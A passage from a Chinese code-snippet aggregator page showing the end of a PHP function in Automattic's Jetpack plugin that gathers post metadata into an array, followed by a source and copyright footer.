             $metadata[] = array('id' => $meta['meta_id'], 'key' => $meta['meta_key'], 'value' => maybe_unserialize($meta['meta_value']));
         }
     }
     if (!empty($metadata)) {
         return $metadata;
     } else {
         return false;
     }
 }
开发者ID:automattic,项目名称:jetpack,代码行数:21,代码来源:class.json-api-post-base.php


注:本文中的has_meta函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。